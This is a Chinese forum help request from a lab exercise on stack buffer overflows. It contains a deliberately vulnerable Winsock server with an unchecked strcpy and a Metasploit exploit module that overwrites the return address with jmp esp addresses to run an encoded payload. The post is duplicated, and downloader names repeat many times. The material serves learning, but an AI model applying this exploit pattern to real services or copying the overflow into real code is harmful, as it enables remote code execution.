-
-
[求助]metasploit开发exploit
-
发表于: 2010-8-26 17:00 8340
-
0day第十章第六节实验疑问!
先说一下实验环境
虚拟机winxp sp3简体中文版
服务器代码:把原来的buf[0x200]改为buf[0x500]同时把msg[200]改为msg[1020],修改后的target_server.cpp代码如下:
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char * buf)
{
char msg[1020];
strcpy(msg,buf);// overflow here, copy 0x200 to 200
cout<<"********************"<<endl;
cout<<"received:"<<endl;
cout<<msg<<endl;
}
void main()
{
int sock,msgsock,lenth,receive_len;
struct sockaddr_in sock_server,sock_client;
char buf[0x500]; //noticed it is 0x200
WSADATA wsa;
WSAStartup(MAKEWORD(1,1),&wsa);
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
{
cout<<sock<<"socket creating error!"<<endl;
exit(1);
}
sock_server.sin_family=AF_INET;
sock_server.sin_port=htons(7777);
sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
{
cout<<"binging stream socket error!"<<endl;
}
cout<<"**************************************"<<endl;
cout<<" exploit target server 1.0 "<<endl;
cout<<"**************************************"<<endl;
listen(sock,4);
lenth=sizeof(struct sockaddr);
do{
msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
if(msgsock==-1)
{
cout<<"accept error!"<<endl;
break;
}
else
do
{
memset(buf,0,sizeof(buf));
if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
{
cout<<"reading stream message erro!"<<endl;
receive_len=0;
}
msg_display(buf);//trigged the overflow
}while(receive_len);
closesocket(msgsock);
}while(1);
WSACleanup();
}
相应的test.rb也作了相应的修改
由于使用的是msf3.4版本书上给的是3.0版本的修改后的test.rb如下
require 'msf/core'
#require 'ftools'
#module Msf
class Metasploit3 < Msf::Exploit::Remote #这里的变动是由于版本不同的原因
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'failwest_test',
'Platform' => 'win',
'Targets' => [
['Windows 2000', {'Ret' => 0x77F8948B } ],
['Windows XP SP2',{'Ret' => 0x7C914393 } ],
['windows XP SP3',{'Ret' => 0x7c86467b } ] #这是自己添加的SP3简体中文版的 jmp esp的地址 ],
'Payload' => {
'Space' => 1000, #这里的改动是和target_server的改动相对应的
'BadChars' => "\x00",
}
))
end #end of initialize
def exploit
connect
attack_buf = 'a'*1024 + [target['Ret']].pack('V') + payloaad.encoded #这里的改动也是和target_server的改动相对应的
sock.put(attack_buf)
handler
disconnect
end #end of exploit def
#end #end of class def
end #end of module de
通过几次调试时的我的jmp esp恰好能够覆盖返回地址如图
在覆盖之前的返回地址
覆盖返回地址以后的堆栈情况:
根据这些情况说明exploit执行是成功的,但是接下来的shellcode执行的时候出现了异常。
这是我确定问题出现在shellcode上。修改test.rb的exploit函数为如下
def exploit
connect
a=payload.encoded
file=File.new("encoded.txt","w")
file.puts(a)
file.close
attack_buf = 'a'*1024 + [target['Ret']].pack('V') + a
sock.put(attack_buf)
handler
disconnect
end #end of exploit def
修改以后并不会影响他的功能只是会把编码后的shellcode存放到文件encoded.txt中;
在ollydbg中观察到的shellcode如下图:
在保存下来的文件中观察到的shellcode如下图
他们是相同的这一点也在意料之中最集中的疑问是下面;
通过metasploit终端获得的shellcode如下图
为什么实际使用的shellcode和他给出的不一样呢?
我的猜测是由于缓冲区的限制使得对shellcode的编码方式不一样。但为什么不能正确执行呢。还有就是好像他给的编码方式是已经封装好的应噶不需要我们自己去改动才对啊。太多的疑问啊。
请知道的大侠出来指点迷津啊。
以下是我学习metasploit的一些资料:
adv-to-exp-using-msf.pdf
developers_guide.pdf
users_guide.pdf
users_guide_chinese.pdf
实验中使用的文件: 文件.rar
先说一下实验环境
虚拟机winxp sp3简体中文版
服务器代码:把原来的buf[0x200]改为buf[0x500]同时把msg[200]改为msg[1020],修改后的target_server.cpp代码如下:
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char * buf)
{
char msg[1020];
strcpy(msg,buf);// overflow here, copy 0x200 to 200
cout<<"********************"<<endl;
cout<<"received:"<<endl;
cout<<msg<<endl;
}
void main()
{
int sock,msgsock,lenth,receive_len;
struct sockaddr_in sock_server,sock_client;
char buf[0x500]; //noticed it is 0x200
WSADATA wsa;
WSAStartup(MAKEWORD(1,1),&wsa);
if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
{
cout<<sock<<"socket creating error!"<<endl;
exit(1);
}
sock_server.sin_family=AF_INET;
sock_server.sin_port=htons(7777);
sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
{
cout<<"binging stream socket error!"<<endl;
}
cout<<"**************************************"<<endl;
cout<<" exploit target server 1.0 "<<endl;
cout<<"**************************************"<<endl;
listen(sock,4);
lenth=sizeof(struct sockaddr);
do{
msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
if(msgsock==-1)
{
cout<<"accept error!"<<endl;
break;
}
else
do
{
memset(buf,0,sizeof(buf));
if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
{
cout<<"reading stream message erro!"<<endl;
receive_len=0;
}
msg_display(buf);//trigged the overflow
}while(receive_len);
closesocket(msgsock);
}while(1);
WSACleanup();
}
相应的test.rb也作了相应的修改
由于使用的是msf3.4版本书上给的是3.0版本的修改后的test.rb如下
require 'msf/core'
#require 'ftools'
#module Msf
class Metasploit3 < Msf::Exploit::Remote #这里的变动是由于版本不同的原因
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'failwest_test',
'Platform' => 'win',
'Targets' => [
['Windows 2000', {'Ret' => 0x77F8948B } ],
['Windows XP SP2',{'Ret' => 0x7C914393 } ],
['windows XP SP3',{'Ret' => 0x7c86467b } ] #这是自己添加的SP3简体中文版的 jmp esp的地址 ],
'Payload' => {
'Space' => 1000, #这里的改动是和target_server的改动相对应的
'BadChars' => "\x00",
}
))
end #end of initialize
def exploit
connect
attack_buf = 'a'*1024 + [target['Ret']].pack('V') + payloaad.encoded #这里的改动也是和target_server的改动相对应的
sock.put(attack_buf)
handler
disconnect
end #end of exploit def
#end #end of class def
end #end of module de
通过几次调试时的我的jmp esp恰好能够覆盖返回地址如图
在覆盖之前的返回地址
覆盖返回地址以后的堆栈情况:
根据这些情况说明exploit执行是成功的,但是接下来的shellcode执行的时候出现了异常。
这是我确定问题出现在shellcode上。修改test.rb的exploit函数为如下
def exploit
connect
a=payload.encoded
file=File.new("encoded.txt","w")
file.puts(a)
file.close
attack_buf = 'a'*1024 + [target['Ret']].pack('V') + a
sock.put(attack_buf)
handler
disconnect
end #end of exploit def
修改以后并不会影响他的功能只是会把编码后的shellcode存放到文件encoded.txt中;
在ollydbg中观察到的shellcode如下图:
在保存下来的文件中观察到的shellcode如下图
他们是相同的这一点也在意料之中最集中的疑问是下面;
通过metasploit终端获得的shellcode如下图
为什么实际使用的shellcode和他给出的不一样呢?
我的猜测是由于缓冲区的限制使得对shellcode的编码方式不一样。但为什么不能正确执行呢。还有就是好像他给的编码方式是已经封装好的应噶不需要我们自己去改动才对啊。太多的疑问啊。
请知道的大侠出来指点迷津啊。
以下是我学习metasploit的一些资料:
adv-to-exp-using-msf.pdf
developers_guide.pdf
users_guide.pdf
users_guide_chinese.pdf
实验中使用的文件: 文件.rar
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
他的文章
- [注意]书籍转让 2955
- [求助]关于迅雷VodUrl DapFileSize漏洞 4809
- [讨论]关于一个注册软件的破解思路 8992
- [求助]在VS2008平台下原始套接字编程 16018
谁下载
djzxzzm
robin
ztmailbox
kit393
RotteKone
zendf
lzgxw
zlmsdn
网络幽灵
sliceman
骑驴找马
lovehaohui
trojanth
xingzhi
轩辕小聪
harksky
HamiltonLi
垃圾一个
wtxpwh
ggdd
neineit
yelusiku
黑暗之子
achillis
riverdog
pasta
riusksk
lovebubble
LuckStar
惜雪
COMPUTE
lwtpla
风宁
小吴
guobing
jerksson
hhstyle
pzk
芳草碧连
jvjvlglg
bifangmin
darwinlyz
Feline
somylr
chineseftp
avimatrix
darkplayer
Lodevil
FJX
KooJiSung
gott
wuaiwu
OriginGod
honggaoyan
Rolbinal
wjphero
majinxin
godrightme
koukouniao
哈哈天下
whcluck
caizhihong
king少
alargel
youstar
zyhfut
bluerust
zzuwarning
verylove
aatt
pfnWindows
imbadyc
李小龙lxl
guoyandong
sevp
witfox
qilinjiang
yangyucun
tscu
tokiii
ltvictory
jinbinlin
road一路发
tanjianzhu
某某
ghosthu
幽灵娃娃
rub
洞庭渔夫
njxxdx
影卡卡西
GaARaFan
yxatom
xunjing
myterry
可乐番茄
qsqsqsq
onlinux
黑子墨子
谁下载
天津小白
djzxzzm
robin
ztmailbox
kit393
RotteKone
zendf
lzgxw
zlmsdn
网络幽灵
sliceman
骑驴找马
lovehaohui
trojanth
xingzhi
轩辕小聪
harksky
HamiltonLi
垃圾一个
wtxpwh
ggdd
neineit
yelusiku
黑暗之子
achillis
riverdog
pasta
riusksk
lovebubble
LuckStar
惜雪
COMPUTE
lwtpla
风宁
小吴
guobing
jerksson
hhstyle
pzk
芳草碧连
jvjvlglg
bifangmin
darwinlyz
Feline
somylr
chineseftp
avimatrix
darkplayer
Lodevil
FJX
KooJiSung
gott
wuaiwu
OriginGod
honggaoyan
Rolbinal
wjphero
majinxin
godrightme
koukouniao
哈哈天下
whcluck
caizhihong
king少
alargel
youstar
zyhfut
bluerust
zzuwarning
verylove
aatt
pfnWindows
imbadyc
李小龙lxl
guoyandong
sevp
witfox
qilinjiang
yangyucun
tscu
tokiii
ltvictory
jinbinlin
road一路发
tanjianzhu
某某
ghosthu
幽灵娃娃
rub
洞庭渔夫
njxxdx
影卡卡西
GaARaFan
yxatom
xunjing
myterry
可乐番茄
qsqsqsq
onlinux
谁下载
天津小白
djzxzzm
robin
ztmailbox
kit393
RotteKone
zendf
lzgxw
zlmsdn
网络幽灵
sliceman
骑驴找马
lovehaohui
trojanth
xingzhi
轩辕小聪
harksky
HamiltonLi
垃圾一个
wtxpwh
ggdd
neineit
yelusiku
黑暗之子
achillis
riverdog
pasta
riusksk
lovebubble
LuckStar
惜雪
COMPUTE
lwtpla
风宁
小吴
guobing
jerksson
hhstyle
pzk
芳草碧连
jvjvlglg
bifangmin
darwinlyz
Feline
somylr
chineseftp
avimatrix
darkplayer
Lodevil
FJX
KooJiSung
gott
wuaiwu
OriginGod
honggaoyan
Rolbinal
wjphero
majinxin
godrightme
koukouniao
哈哈天下
whcluck
caizhihong
king少
alargel
youstar
zyhfut
bluerust
zzuwarning
verylove
aatt
pfnWindows
imbadyc
李小龙lxl
guoyandong
sevp
witfox
qilinjiang
yangyucun
tscu
tokiii
ltvictory
jinbinlin
road一路发
tanjianzhu
某某
ghosthu
幽灵娃娃
rub
洞庭渔夫
njxxdx
影卡卡西
GaARaFan
yxatom
xunjing
myterry
可乐番茄
qsqsqsq
onlinux
谁下载
天津小白
djzxzzm
robin
ztmailbox
kit393
RotteKone
zendf
lzgxw
zlmsdn
网络幽灵
sliceman
骑驴找马
lovehaohui
trojanth
xingzhi
轩辕小聪
harksky
HamiltonLi
垃圾一个
wtxpwh
ggdd
neineit
yelusiku
黑暗之子
achillis
riverdog
pasta
riusksk
lovebubble
LuckStar
惜雪
COMPUTE
lwtpla
风宁
小吴
guobing
jerksson
hhstyle
pzk
芳草碧连
jvjvlglg
bifangmin
darwinlyz
Feline
somylr
chineseftp
avimatrix
darkplayer
Lodevil
FJX
KooJiSung
gott
wuaiwu
OriginGod
honggaoyan
Rolbinal
wjphero
majinxin
godrightme
koukouniao
哈哈天下
whcluck
caizhihong
king少
alargel
youstar
zyhfut
bluerust
zzuwarning
verylove
aatt
pfnWindows
imbadyc
李小龙lxl
guoyandong
sevp
witfox
qilinjiang
yangyucun
tscu
tokiii
ltvictory
jinbinlin
road一路发
tanjianzhu
某某
ghosthu
幽灵娃娃
rub
洞庭渔夫
njxxdx
影卡卡西
GaARaFan
yxatom
xunjing
myterry
可乐番茄
qsqsqsq
onlinux
谁下载
天津小白
djzxzzm
robin
ztmailbox
kit393
RotteKone
zendf
lzgxw
zlmsdn
网络幽灵
sliceman
骑驴找马
lovehaohui
trojanth
xingzhi
轩辕小聪
harksky
HamiltonLi
垃圾一个
wtxpwh
ggdd
neineit
yelusiku
黑暗之子
achillis
riverdog
pasta
riusksk
lovebubble
LuckStar
惜雪
COMPUTE
lwtpla
风宁
小吴
guobing
jerksson
hhstyle
pzk
芳草碧连
jvjvlglg
bifangmin
darwinlyz
Feline
somylr
chineseftp
avimatrix
darkplayer
Lodevil
FJX
KooJiSung
gott
wuaiwu
OriginGod
honggaoyan
Rolbinal
wjphero
majinxin
godrightme
koukouniao
哈哈天下
whcluck
caizhihong
king少
alargel
youstar
zyhfut
bluerust
zzuwarning
verylove
aatt
pfnWindows
imbadyc
李小龙lxl
guoyandong
sevp
witfox
qilinjiang
yangyucun
tscu
tokiii
ltvictory
jinbinlin
road一路发
tanjianzhu
某某
ghosthu
幽灵娃娃
rub
洞庭渔夫
njxxdx
影卡卡西
GaARaFan
yxatom
xunjing
myterry
可乐番茄
qsqsqsq
onlinux
谁下载
天津小白
djzxzzm
robin
ztmailbox
kit393
RotteKone
zendf
lzgxw
zlmsdn
网络幽灵
sliceman
骑驴找马
lovehaohui
trojanth
xingzhi
轩辕小聪
harksky
HamiltonLi
垃圾一个
wtxpwh
ggdd
neineit
yelusiku
黑暗之子
achillis
riverdog
pasta
riusksk
lovebubble
LuckStar
惜雪
COMPUTE
lwtpla
风宁
小吴
guobing
jerksson
hhstyle
pzk
芳草碧连
jvjvlglg
bifangmin
darwinlyz
Feline
somylr
chineseftp
avimatrix
darkplayer
Lodevil
FJX
KooJiSung
gott
wuaiwu
OriginGod
honggaoyan
Rolbinal
wjphero
majinxin
godrightme
koukouniao
哈哈天下
whcluck
caizhihong
king少
alargel
youstar
zyhfut
bluerust
zzuwarning
verylove
aatt
pfnWindows
imbadyc
李小龙lxl
guoyandong
sevp
witfox
qilinjiang
yangyucun
tscu
tokiii
ltvictory
jinbinlin
road一路发
tanjianzhu
某某
ghosthu
幽灵娃娃
rub
洞庭渔夫
njxxdx
影卡卡西
GaARaFan
yxatom
xunjing
myterry
可乐番茄
qsqsqsq
onlinux
谁下载
天津小白
djzxzzm
robin
ztmailbox
kit393
RotteKone
zendf
lzgxw
zlmsdn
网络幽灵
sliceman
骑驴找马
lovehaohui
trojanth
xingzhi
轩辕小聪
harksky
HamiltonLi
垃圾一个
wtxpwh
ggdd
neineit
yelusiku
黑暗之子
achillis
riverdog
pasta
riusksk
lovebubble
LuckStar
惜雪
COMPUTE
lwtpla
风宁
小吴
guobing
jerksson
hhstyle
pzk
芳草碧连
jvjvlglg
bifangmin
darwinlyz
Feline
somylr
chineseftp
avimatrix
darkplayer
Lodevil
FJX
KooJiSung
gott
wuaiwu
OriginGod
honggaoyan
Rolbinal
wjphero
majinxin
godrightme
koukouniao
哈哈天下
whcluck
caizhihong
king少
alargel
youstar
zyhfut
bluerust
zzuwarning
verylove
aatt
pfnWindows
imbadyc
李小龙lxl
guoyandong
sevp
witfox
qilinjiang
yangyucun
tscu
tokiii
ltvictory
jinbinlin
road一路发
tanjianzhu
某某
ghosthu
幽灵娃娃
rub
洞庭渔夫
njxxdx
影卡卡西
GaARaFan
yxatom
xunjing
myterry
可乐番茄
qsqsqsq
onlinux
谁下载
天津小白
djzxzzm
robin
ztmailbox
kit393
RotteKone
zendf
lzgxw
zlmsdn
网络幽灵
sliceman
骑驴找马
lovehaohui
trojanth
xingzhi
轩辕小聪
harksky
HamiltonLi
垃圾一个
wtxpwh
ggdd
neineit
yelusiku
黑暗之子
achillis
riverdog
pasta
riusksk
lovebubble
LuckStar
惜雪
COMPUTE
lwtpla
风宁
小吴
guobing
jerksson
hhstyle
pzk
芳草碧连
jvjvlglg
bifangmin
darwinlyz
Feline
somylr
chineseftp
avimatrix
darkplayer
Lodevil
FJX
KooJiSung
gott
wuaiwu
OriginGod
honggaoyan
Rolbinal
wjphero
majinxin
godrightme
koukouniao
哈哈天下
whcluck
caizhihong
king少
alargel
youstar
zyhfut
bluerust
zzuwarning
verylove
aatt
pfnWindows
imbadyc
李小龙lxl
guoyandong
sevp
witfox
qilinjiang
yangyucun
tscu
tokiii
ltvictory
jinbinlin
road一路发
tanjianzhu
某某
ghosthu
幽灵娃娃
rub
洞庭渔夫
njxxdx
影卡卡西
GaARaFan
yxatom
xunjing
myterry
可乐番茄
qsqsqsq
onlinux
看原图
赞赏
雪币:
留言: